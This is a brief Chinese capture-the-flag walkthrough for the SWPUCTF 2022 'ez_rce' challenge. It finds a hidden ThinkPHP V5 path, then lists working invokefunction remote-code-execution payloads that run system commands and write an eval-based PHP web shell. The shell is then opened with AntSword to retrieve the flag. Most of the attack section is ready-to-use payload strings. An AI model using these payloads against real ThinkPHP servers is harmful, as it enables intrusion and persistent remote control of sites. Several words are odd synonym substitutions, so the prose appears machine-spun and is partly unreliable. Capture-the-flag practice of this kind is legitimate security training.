[SWPUCTF 2022 新生赛]ez_rce

打开标题就在线环境，发现只有一句话：真的什么都没有吗
F12检察控制台和源代码也没发现任何信息，然后用虚拟机内里的dirsearch扫一下这个网站就能得到：

然后这里扫出来的结果检察的直接就是robots.txt,然后就能看到：

然后访问：/NSS/index.php/：

这里直接搜索ThingkPHP V5就能得到这个漏洞复现的方法，我就是根据搜索到的帖子的漏洞复现方法跟着做的。
   payload:?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
  

   ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>（将php代码写入shell.php）

再访问/NSS/shell.php

然后再
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[1]);?>（删除/shell.php替换）

末了蚁剑毗连，网址：http://node5.anna.nssctf.cn:22775/NSS/shell.php
暗码为1
末了flag的路径为：/nss/ctf/flag

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。